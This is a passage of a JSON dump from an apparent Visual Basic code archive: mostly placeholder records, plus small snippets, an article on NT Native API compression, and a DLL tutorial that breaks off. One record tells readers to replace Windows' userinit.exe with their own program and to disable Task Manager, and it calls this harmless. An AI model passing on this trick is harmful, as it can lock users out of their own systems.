\n----------------------------------\n"},{"WorldId":1,"id":49370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49404,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49509,"LineNumber":1,"line":"Const REG_SZ = 1\nConst HKEY_CURRENT_USER = &H80000001\nConst REGKEY = \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nConst KEY_WRITE = &H20006\nDim path As Long\n'Tell windows to make Autopaper autostart with windows\nIf RegOpenKeyEx(HKEY_CURRENT_USER, REGKEY, 0, KEY_WRITE, path) Then Exit Sub\nRegSetValueEx path, App.Title, 0, REG_SZ, ByVal App.path & \"\\startprog.exe\", Len(App.path & \"\\programsfilename.exe\")\n 'DELETE AUTOSTART:\n 'If RegOpenKeyEx(HKEY_CURRENT_USER, REGKEY, 0, KEY_WRITE, Path) Then Exit Sub\n 'RegDeleteValue Path, App.Title"},{"WorldId":1,"id":49510,"LineNumber":1,"line":"Public Sub SetControlResize(X As Control, Y As Form)\n Dim style As Long\n \n 'get the current style attributes for the control\n style = GetWindowLong(X.hwnd, GWL_STYLE)\n \n 'modify the style to show the sizing frame\n style = style Or WS_THICKFRAME\n \n 'set the control to the chosen style\n If style Then\n Call SetWindowLong(X.hwnd, GWL_STYLE, style)\n Call SetWindowPos(X.hwnd, Y.hwnd, 0, 0, 0, 0, SWP_FLAGS)\n End If\nEnd Sub"},{"WorldId":1,"id":49512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49523,"LineNumber":1,"line":"http://www.geocities.com/deejross\nThe program uses DMC2. You can download it at\nhttp://izzyonline.com/ftp/activex/Setup_DMC2_103.exe"},{"WorldId":1,"id":49528,"LineNumber":1,"line":"'You need to download it from here\nhttp://geocities.com/pfcmurphy/xdgDock.zip"},{"WorldId":1,"id":49531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49591,"LineNumber":1,"line":"NT (and XP) Native API Compression \n(And how the NT API works)\n \nFirst off IΓÇÖd like to thank everyone that has voted for my past two articles (on \nCreateRemoteThread and NTFS Streams). For those people... neat things are \ncoming! I will be updating the CRT code this month to allow injection into any \nprocess without any crash or using complicated add-ins, as well as putting full \nVB forms, COM objects and more. With it, you will be able to add COM interfaces \nto any program. And for those who enjoyed the NTFS Article, IΓÇÖm currently \nupdating it with a full NTFS Low-Level Disk Browser. But enough of the future, \nletΓÇÖs talk about the present! Without further ado, letΓÇÖs first talk about what \nNT is. \n┬á\nChapter 1 ΓÇô How NT works, in the average programmerΓÇÖs \nwords.\n1.1 - Introduction to NT (N-Ten...not New Technology or \nNorthern Telecom!)\nWithout delving too deep into the internals of NT (IΓÇÖm \nleaving that for another article), it is important to know that NT itself was \ndesigned to support many subsystems, each with a distinct environment. An \nexample of an NT Subsystem is Win32, or normal Windows applications; another one \nis OS/2, or POSIX (Unix). This means that NT can (by the way, throughout all \nthis article, NT means anything from NT 3.51 till Windows 2003, including XP), \nwith the proper system add-ins, run OS/2 and Unix without any changes in them at \nall, and supporting most of their features. This is one of NTΓÇÖs biggest \nadvantages...but what does it mean for the API? To support this architecture, \nthe NT developers needed to have a unified set of APIs that could be called by \nwrappers of each subsystem. As such, the Win32 CreateProcess API should work \njust as well as the fork() command in a Unix application. Instead of creating an \nAPI call or huge libraries for all the subsystems, NT is, at the base, a single \nKernel and HAL (The Hardware Layer that the Kernel uses to access the hardware). \nThe kernel contains all the functions that NT supports, be it under Win32, Unix, \nor OS/2. In turn, the subsystems have all the DLLs needed for their own API. The \nWin32 apps call the Win32 Subsystem APIs, which in turn call the NT APIs. These \nNT APIs are called ΓÇ£NativeΓÇ¥, because they require no Subsystem to run. If youΓÇÖre \ncurious about whoΓÇÖs who, hereΓÇÖs a breakdown of some of the files:\n<blockquote>\n\t┬╖ HAL.DLL, the core component of NTΓÇÖs Hardware Access. \n\tThis is the HAL-9000 (reference to Odyssey 2001) of the NT OS. \n\t┬╖ NTOSKRNL.EXE, the kernel itself, the brain of the OS. Also called \n\tExecutive. \n\t┬╖ NTDLL.DLL, the kernel API library, which contains the Native APIs. \n\t┬╖ WIN32K.sys, the graphics API library of NT. Because OS/2 and Unix graphic \n\tapplications are not supported, this normally Win32 subsystem file has \n\tbecome part of the kernel. \n\t┬╖ CSRSS.EXE, the Win32 Subsystem Client \n\t┬╖ KERNEL32.DLL, USER32.DLL, GDI32.dll, the main Win32 Core Subsystem APIs.\n</blockquote>\nSo you must be wondering, ΓÇ£What really happens when I call \nCreateProcess then?ΓÇ¥. When you call that API (or ShellExecute, which ends up \ncalling it anyway), Windows processes the parameters and calls a function called \nNtCreateProcess. This API is the NT Native API to create a new process, and is \ncontained in NTDLL.DLL. Does this API create your process? No! Because of \nreasons that I will explain in section 1.2, NTDLL.DLL then does what is called a \nΓÇ£System CallΓÇ¥, or a ΓÇ£Native System ServiceΓÇ¥. This ultimately results in a \nlow-level code (assembly language or C) contained in NTOSKRNL.EXE executing, \ncalled ZwCreateProcess in our case.\nAs youΓÇÖve seen, your simple Win32 call ends up going through \na lot of hoops. And thatΓÇÖs without talking about all the little APIs that are \ncalled when you call CreateProcess. Everything from preparing the environment to \nloading each of the DLLs your process will use will be done, and all the calls \n(such as LoadLibrary) will pass through the same hoops. For a function like \nCreateProcess, you can expect at least 50 API calls. IΓÇÖve explained why \neverything ends up in NTDLL.DLL...but why the ΓÇ£System CallΓÇ¥?\n1.2 - Kernel-Mode and User-Mode (or why NT rarely crashes)\nBefore explaining what a syscall (System Call), itΓÇÖs \nimportant to talk about how NT manages memory, and everything contained inside \nit. Once again, to keep this understandable, IΓÇÖm going to cut some corners. On \n32-bit CPUs and modern OS, your programs never access your physical memory in a \ndirect manner (this is called Protected Mode, in contrast to Real Mode). When \nyou call CopyMemory (RtlMoveMemory), youΓÇÖre not giving physical addresses of \nyour memory...youΓÇÖre giving the address of Virtual Memory. Virtual Memory is one \nof the reasons that a DLL can be in the same Memory Space in all the programs \nitΓÇÖs running in. Once again, on 32-bit CPUs, Virtual Memory is defined to 4GB \n(There are exceptions...no use getting into them), starting from 0x0 till \n0xFFFFFFFF in Hex. 0x0 till 0x10000 is reserved and never used, so it actually \nstarts at 0x10000. From then on, there is a split at 0x80000000. Everything \nunder this is called User-Mode; everything above it is Kernel-Mode, so each \nmemory space gets 2GB.\nBy definition, User-Mode cannot access anything in \nKernel-Mode. Not a single line of code contained in Kernel-Mode memory can be \ncalled, and not a single variable read. Direct hardware access, from USB mouse \ntill HDD is also totally out of the question (in most cases, using Windows API \nmostly, not legacy ASM code). This is where your applications run...yes, even \nthose that control I/O ports or seem to do some extremely deep functions. \nKernel-Mode however is another beast. It has the uttermost complete access to \nyour computer, and the code inside that memory can do whatever it pleases, even \ntelling your CPU to run at 10GHz (IΓÇÖm not making this up). There is no such \nthing as a Kernel-Mode application; they are called Drivers, or Loadable Kernel \nModules. These are your video-card drivers, your mouse driver, and all those \nfiles ending in SYS on your computer. In Win9x, they were VXDs. \nNow letΓÇÖs get back to our CreateProcess example. WhatΓÇÖs a syscall and why do we \nneed it? \nThe functions inside the Executive (NTOSKRNL.EXE) are not \ncalled APIs, but NT System Services (people confuse it with Windows Services, \nwhich is why I prefer the name System Call). In essence, they function just like \nAPIs, except the way to call them is different. The Executive has a table of all \nthe possible System Calls and their corresponding ID. The NTDLL.DLL API then \nfinds out what ID it needs, and calls it using a special function (pros: stick \nthe ID in eax and then call INT 2e). The Executive will execute the function, \nand return back to NTDLL.DLL, which will ultimately end up returning to your \nprogram. Starting in Windows 2000, there are two possible syscalls. The first \nare in the Executive, and contain all the system functions. The second have been \nsplit up in WIN32K.SYS, which as mentioned above, controls all the graphic \nroutines (which are called by GDI32.DLL and sometimes USER32.DLL).\nThe question remaining is why does NT need to go through all \nthis complicated procedure to create a process? Taking back the subject of the \nfiles mentioned at the beginning, itΓÇÖs important to know that the Executive runs \nin Kernel-Mode, just like the Hardware Abstraction Layer and the WIN32K.SYS \nModule and all your Drivers. The subsystems run in USER-MODE. Can you guess why \nitΓÇÖs needed to use syscalls now? If you think about it, at the deepest and \nlowest level, CreateProcess will need to allocate some memory, read the EXE file \nfrom your disk, and process the code inside. We just said that User-Mode has no \naccess to things like reading your disk or touching physical memory (because \nthey are hardware functions). The only way is therefore to pass on the command \nto the Executive, which along with the HAL will perform all the necessary \nfunctions and return back to the Subsystem with your process. The same applies \nfor something as simple as BitBlt. This call, down the line, becomes EngBitBlt \ninside Win32K.sys as a System Call. This is because to perform any graphics \nfunction, we must use the Video Card, which is hardware and can only be touched \nby Kernel-Mode.\nAs you can see, anything that needs hardware access will \nultimately be passed on to the Executive. And even if that doesnΓÇÖt happen, itΓÇÖs \nvery rare for a Subsystem to have any commands by itself, and 99% of the time it \nwill pass them on to NTDLL.DLL to perform the Native API, even if it doesnΓÇÖt \nrequire a System Call.\n1.3 - Key Concepts Review\nIf youΓÇÖre still a bit confused about how everything works, or \nwant to make sure you get everything right, this will present a short scenario \nof a typical API call (in a very simplified form...but using the examples \nabove). \nYouΓÇÖve created a VB application that calls CreateFile, instead of using \nOpen/Close VB commands because you know API is faster. You might not know it, \nbut by default, VB makes applications that run in the address 0x40000 in Virtual \nMemory. Of course this is in User-Mode. When you call CreateFile, KERNEL32.DLL \nreceives your parameters (actually the VB runtime processes them first, but \nthatΓÇÖs not important for now) and makes sure your call is valid before passing \nit on. If youΓÇÖve made a very big programming mistake, the worst that might \nhappen is that your program will crash. \nIf your parameters are correct however, KERNEL32 will call \nNtCreateFile in NTDLL and arrange the parameters so they fit the new API (it \nisnΓÇÖt the same as the Win32 version). Once again, NtCreateFile does some more \nchecking. ItΓÇÖs very rare and almost impossible for a programming bug to get this \nfar, but if it happens, your program will still crash (Windows will be intact).\n\nWhen NTDLL is sure that your parameters are correct, it will \ncall the ZwCreateFile syscall. A User-Mode component as IΓÇÖve said before cannot \nnormally call code in Kernel-Mode. However, syscalls are specially made to allow \na quick transition so that the code can run. A crash here will bring down the \nsystem with a BSOD.\nThe Executive has now received all the necessary information \nand will talk to the filesystem driver, which in turn will talk to the IDE or \nSCSI Bus driver to physically create the file on your Hard Disk, or physically \nread it. \nOnce this is done, everything is returned back through the chain to your \nprogram.\nChapter 2 ΓÇô The Native API, for a programmer\n2.1 - Advantages of using Native API\nNow that you know about how Win32 API works, some of the \nadvantages of Native API should be evident. First of all, because you are \njumping over the whole Win32 Subsystem wrapping of your call, and sending it \ndirectly to the NTDLL, your API will have slight performance increases. For \nexample, using the Native API to map a file into memory is about twice as fast. \nHowever, unless youΓÇÖre doing this hundreds of times in a row, the speed \ndifference will be something like 0.00001 seconds for a single call. \nThe real advantage of using Native API therefore is its power. Technically, \nNative API must support everything that a POSIX-Compliant UNIX application can \ndo. \nWhile you might not be familiar with Linux/Unix, IΓÇÖm sure \nyouΓÇÖve heard that it has some pretty nice features that Windows lacks. Under NT, \nthis is usually not true. For example, on Unix/Linux systems, you can ΓÇ£forkΓÇ¥ a \nprocess. This will basically clone an existing process into a new one, but \nwithout creating it yet. Both processes will have the same environment and \naccess to the same memory. When the user runs a Unix application on NT, NT will \nhowever fork a process. How? The same way Win32 CreateProcess works. The Posix \nSubsystem will first receive the fork() call, and then process it and send it to \nthe Native API, which will execute the function. The main API responsible is \nstill NtCreateProcess, the same one that a Win32 application would use (however, \nit cannot call fork normally). With a bit of work, we can figure out how fork() \ncalls the NtCreateProcess API, and call the Native API from our Win32 \napplication to do the same.\nAn easier example would be the extra features that Native API \noffers as enhancements over the Win32 Subsystem APIs. For example, under Native \nAPI, it is possible to resize a memory-mapped file, which Win32 API doesnΓÇÖt let \nyou do. You can also specify dozens of more flags when creating a file, or \nmodify the execution of a process in more advanced ways. \nThe biggest power of Native API however, will be discussed in \nSection 2.3. But first, letΓÇÖs have a look at the disadvantages.\n2.2 - Disadvantages of using Native API\nLetΓÇÖs face the facts: Microsoft doesnΓÇÖt want you, under any \ncircumstances to use Native API, or even know it exists. Only highly skilled \nprogrammers can find out about how to use some of the functions in a package \ncalled the DDK, Driver Development Kit. Access to the Native API is critical for \ndrivers, because they do not run under any subsystem. Drivers however, as IΓÇÖve \nmentioned, run under Kernel Mode, so they call the Native API directly in the \nExecutive, and Microsoft has only documented the really critical functions \nneeded. \nThe few documented Native APIs are only used in C++ examples. \nYou can forget about finding Declare Function Nt... Lib ΓÇ£ntdllΓÇ¥ ... written in \nVB anywhere. If Microsoft barely supports this under C++, you can imagine what \nthey think about VB calling Native API. Which means youΓÇÖll have to first \ndownload the DDK, and then translate all the C++ declarations to VB. Not too \nhard for an average programmer (you donΓÇÖt really need to know C++), but not \nsomething most people would easily do. The DDK is also fairly large, and you \nusually have to order it from Microsoft. Fortunately however, OSROnline provides \na free online-viewable version.\nThese are just the disadvantages because of how hard it is to \nfind something as simple as calling the function. You will also need to check \nout the DDK to learn what each parameter means. Furthermore, NT usually uses \nlots of complex structures and ΓÇ£ObjectsΓÇ¥ to perform system functions. It can be \nvery confusing at first, and with the minimal documentation available, often a \nreal pain.\nNow that youΓÇÖve seen how hard it is do call a documented call \nlike NtCreateFile, try to imagine something undocumented. Yes, thatΓÇÖs right; \nover 95% of NTΓÇÖs Native API is purely undocumented. Microsoft not only doesnΓÇÖt \ndocument them, but it also denies their simple existence.\n2.3 - Undocumented Native API\nFortunately, a quick search on Google will help you get some \ninformation about these undocumented functions. Usually, someone, somewhere, has \ndecided to investigate on of these calls (if they seem interesting) and try to \nfigure out how they work. As hard as Microsoft can try, they still cannot remove \ntheir existence from the Export Table of NTDLL, which contains all the names of \nthe APIs contained inside. Such a table can be viewed with the depends.exe tool \nthat comes with Visual Basic for example. You will usually find information \nabout undocumented Native API either on WINE (a free Win32 Subsystem for Linux), \nwhich is struggling to emulate it, on NTInternals, or on various programmerΓÇÖs \npersonal websites. IΓÇÖve explained how to find some information about them, but \nwhy does Microsoft hide them so fervently?\nAs IΓÇÖve said before, the different subsystems that NT must \nsupport have various features that the Native API must also support. However, \nthere is one more system component that needs access to the Native API, and \nthose are drivers in kernel-mode. Drivers donΓÇÖt only need to perform hardware \naccess or other deep functions, but can sometimes simply want to create a file, \nor get more information about the OS. As mentioned above, the DDK includes many \ndocumented Native API functions that drivers may need to use. All these are in \nNTDLL as well. You see, NTDLL is a double-faced library. Half of it runs in \nUser-Mode, and exposes the Nt* functions, while the other half runs in \nKernel-Mode and exposes the Zw* functions. Both are identical in name and \nfunctionalityΓÇªin fact, it is the Zw function that performs the syscall. \nInternally, any Nt* function is switched to its Zw counterpart. Drivers however \ncan instantly call the Zw* functions. IΓÇÖve just said that these functions are \nundocumentedΓÇªso how can drivers call them if they are not in the DDK? Well the \ntruth is, most of the undocumented API is of course called by Windows Drivers \nand internal services, not by hardware vendors, since MS wonΓÇÖt usually allow \nthem. \nThis means that NT needs access to its own Native API, and \nthat every function in the Native API is also accessible by our program (in \nfact, we can even perform a manual syscall from within our program, jumping \ndirectly in the Executive and skipping NTDLL or the Win32 Subsystem). As such, \nmost of the functions that NT uses are undocumented and only used by the OS, \neven if they would be quite useful to some programmers. \nTo make things concrete, one example is the \nNtQuerySystemInformation. It is barely officially documented by Microsoft, but \nit is one of the most 3rd-party documented API of them all. Each site or person \nhas different information, but amassed together over 98% of the callΓÇÖs \nfunctionality has been found. Primarily, the function requires two main \nparameters: the ΓÇ£information classΓÇ¥ and the information structure to receive the \ninformation requested. All in all, there have been over 50 information classes \ndiscovered, and almost 40 documented, each one with their own structures, \nsometimes containing over 100 elements, that themselves chain into others. These \ninformation classes vary from anything to boot time and boot information, to a \ncollection of 30 timers and counters updated every 100 nanoseconds (we still \ndonΓÇÖt know what they monitor) or even the total number of 100 nanoseconds that \nhave passed. More useful classes include the process class, which will show all \nthe running processes in individual structures that contain more then a hundred \nelements, plus other chained structures for each thread with even more elements. \nAnything that NT knows about every process will be shown in the uttermost \ndetail. You can also get a list of all open handles, and the process ID that \nopens themΓÇªvery useful if youΓÇÖve opened a file but forgot to close it, and canΓÇÖt \ndelete it anymore. You can directly close it by knowing the handle. \nIn sum, the undocumented Native APIs are the most powerful \nones available, but they are sadly even harder to implement then documented \nones.\nChapter 3 ΓÇô The Compression Application\n3.1 - How it works\nThis application relies on three heavily undocumented Native \nAPIs, RtlCompressBuffer, RtlDecompressBuffer and RtlGetWorkspace. LetΓÇÖs start \nanalyzing the first one. By looking at the parameters it requires (some are \ndocumented by NTInternals), we can see one of them is the Workspace parameter, \nwhich seems to be a pointer to a temporary buffer where the compression can do \nits work. ItΓÇÖs evident that we will need RtlGetWorkspace to get this buffer, but \nafter executing the call, we only get two numbers. Actually, the first one \ncorresponds to the size the buffer should be, and the second one isnΓÇÖt of any \nuse to us. This means that we will have to create our own buffer with the \nspecific size.\nNormally under VB you would create a byte array and size it \nwith Redim or a string that you would size with null characters or spaces. \nUnfortunately, because of what seems to be a bug in the way VB handles its heap \n(the memory space where these buffers are contained), we must create the buffer \nin general virtual memory. If some of you have already done this before, you \nknow that a function called VirtualAlloc usually does this in the Win32 API. \nHowever, since this application only works on NT and I talked a lot about NT \nNative API, IΓÇÖve decided to use the Native version, NtAllocateVirtualMemory. The \nAPI will give us a pointer to the buffer in memory that we can then use for \nRtlCompressBuffer. The other parameters of this API are the compression engine \nand format. For now, NT only supports a single format, called LZNT1, and only \ntwo engines, Normal and High Compression. The latter is up to five time slower \nand only offers an additional 5-15% boost in compression ratio. The call will \nalso need a variable in which it will report the final size of the compressed \ndata. Finally, the most important parameters are the input buffer and size, and \nthe output buffer and size. Once again, the buffers must be pointers in memory, \nwhich brings a problem.\nTherefore, if we want to compress files, we will need to load \nthem into memory. Many of you have already done this using Open ΓÇª As #1 for \nBinary readΓÇªand then used GetΓÇª to load the file into a byte array, but this is \nexcruciatingly slow for a compression, without mentioning the fact that you will \nalso need to write back the buffer to the file once itΓÇÖs compressed. The \ncompression would take half a second, and your file access minutes. Using \nCreateFile will also not help much, even if itΓÇÖs faster, since you still need to \nread/write back to the file. Fortunately, Windows has a mechanism that IΓÇÖve made \nreference to before eelier, called File Memory Mapping. This functionality, \naccessible easily with only two APIs (plus CreateFile to get a handle to the \nfile) will tell Windows to load the file into memory using a very quick internal \nmechanism. Furthermore, any changes made to that memory location will be \nimmediately written to the disk by Windows, without any input from you. You are \nbasically editing the file on disk, but using memory functions, which are \nhundreds of times faster. Once again, IΓÇÖve used the Native API versions, instead \nof the normal Win32 CreateFileMapping and MapViewOfFile functions. Decompression \nworks exactly the same as compression, except that it doesnΓÇÖt need a workspace \nnor requires knowing the engine setting. \n3.2 ΓÇô Advantages\nAhΓÇªnow the interesting part! Why use this compression? Since \nyouΓÇÖre probably tired and bored of reading so much text, this will be an easy \nbulleted list with few explanationsΓÇª IΓÇÖm sure youΓÇÖll understand and appreciate \nthe examples easily.\n┬╖ Native Compression works with memory pointers. As such, it \nis one of the only compressions that works directly in memory, meaning you can \ncompress your own executable while running it, compress and string, structure or \nbyte array that VB puts in memory (just compress the VarPtr).\n<blockquote>\n\t┬╖ Native Compression is ultra fast. In fact, I believe \n\tthe program shows the fastest compression written in VB. \n\t┬╖ Native Compression yields very high ratios. Most of the time, Native \n\tCompression comes within 15-5% of WinzipΓÇÖs compression, but sometimes even \n\tsurpasses it for some file types. It is however, much faster. \n\t┬╖ Native Compression only needs very few lines of code. No wrappers, \n\texternal libraries or other contraptions are needed to make it work. \n\t┬╖ Native Compression is easy to use, requiring no advanced algorithms or \n\tcalling many functions in libraries. Only two simple API calls are used that \n\tsimply specify input, output and compression strength. \n\t┬╖ Native Compression can even be used in VBScript if implemented in an OCX \n\tcontrol, yielding unparalleled compression speed and easiness for VBScript \n\tusers. \n┬á\n</blockquote>\n3.3 ΓÇô Disadvantages\nOf course, everything has a bad side. Luckily, Native \nCompression suffers very few disadvantages, mainly:\n<blockquote>\n\t┬╖ Native Compression only works on NT 3.51 and higher, \n\tbut not Windows 98 or Windows Me. This means that your program will not work \n\ton about 20% of todayΓÇÖs computer market. \n\t┬╖ Native Compression uses undocumented APIs. Microsoft may decide, without \n\tany obligation towards you, to remove this API either in a next version of \n\tWindows (and they probably will, since Longhorn is .NET based) or even in a \n\tsingle Service Pack. They can also modify and shuffle the parameters, \n\trendering this code useless until further reverse engineering. \n┬á\n</blockquote>\nConclusion\nWell, thatΓÇÖs about it. If youΓÇÖre ready to live with NT-based \nonly compression, then IΓÇÖm sure you will find this program very useful. If not, \nthen at least I hope you had fun learning about the inner workings of the NT \nOperating System. Next month, I will publish an article on NTFS (not just Data \nStreams) and a disk defragmenter written in VB. I wish you all a happy month of \nNovember!\nPlease remember to vote, thanks :)"},{"WorldId":1,"id":49592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49611,"LineNumber":1,"line":"1. First of all, you have to run the windows on safe mode.\n2. Press ctrl+alt+delete , when the task manager loads , Goto Proccesses and end the program userinit.exe\n3. Goto windowsdirectory\\system32\\\n4. erase the file userinit.exe\n5. rename your exe file \"userinit.exe\" and place it in the system32 folder\nPS: if u didnt run windows on safe mode, wenever u try to delete the USERINIT.exe file , windows will restore it back , so run safe mode..\nNow , When windows starts , ur program is the first thing to load on windows, with no desktop or taskbar...\nTo load the rest of the windows normally , \ncreate a command button on your program..\nPrivate command1_click ()\nshell \"explorer.exe\"\nend sub\nthis code will loade the windows explorer which includes the desktop and taskbar.....\nfor full security , download a code that disables task manager so that user wont be able to run the explorer by himself!\nThis trick is not danagerous or anything..\n"},{"WorldId":1,"id":49612,"LineNumber":1,"line":"In the connect Property as you can see , all you have to do is replace the default code with the code in the picture , ofcourse with the password you apply pwd=yourpasswordhere ........Enjoy"},{"WorldId":1,"id":49613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49716,"LineNumber":1,"line":"Private Sub Form_Load() \n SetWindowPos Me.hwnd, -1, 0, 0, 0, 0, 3\nEnd Sub"},{"WorldId":1,"id":49725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49802,"LineNumber":1,"line":"<div class=Section1>\n<h1>DLL Tutorial: MyFirstDLL</h1>\n<h4>Author: Rob Loach</h4>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\nIn this tutorial you will learn:\n[if !supportLists]┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]How to make a DLL file.\n[if !supportLists]┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]How to call the DLL from a different project.\n[if !supportLists]┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]How to make a class with properties, subs, and\nfunctions.\n[if !supportEmptyParas] [endif]<o:p></o:p>\n<h2>Welcome</h2>\nWelcome to my tutorial,\nMyFirstDLL. If you read through this\ntutorial, and do all the coding, it will take you about 3-10 minutes for you to\nfully understand how the DLL system in VB works. If you want to do it more quickly, all the important\ninformation is bolded. The goal of\nthis tutorial is to explain step-by-step how to create and use a DLL file.\n[if !supportEmptyParas] [endif]<o:p></o:p>\n<h2>What is a DLL?</h2>\nA DLL is a file that you\ncan have your application use. A\nprogrammer can use the functions in a DLL file, but the code itself cannot be\naccessed. This allows you to make\nvarious things such as game engines. \nYou can then distribute the engine to the public without actually giving\nout the code. DLLs are very useful\nbecause it allows you to hold a large amount of code in only one file.\n[if !supportEmptyParas] [endif]<o:p></o:p>\n<h2>So how do I make a DLL file?</h2>\nTo make a DLL, follow\nthese simple steps:\n[if !supportLists]1)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Open\nMicrosoft Visual Basic. \n[if !supportLists]2)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Goto\nFile ├á\nNew Project.\n[if !supportLists]3)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Start\nan ActiveX DLL.\n[if !supportLists]4)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]This\nnew window is your DLL. You currently\nonly have one object in it, a class. \nNow it is time to put in the code that you want your DLL to use.<span\nstyle=\"mso-spacerun: yes\"> In this case, just add in the following\ncode. \n[if !supportEmptyParas] [endif]<o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 bgcolor=\"#e6e6e6\" style='background:\n #E6E6E6;border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;\n mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=590 valign=top style='width:442.8pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n '=====================<o:p></o:p>\n 'Title: 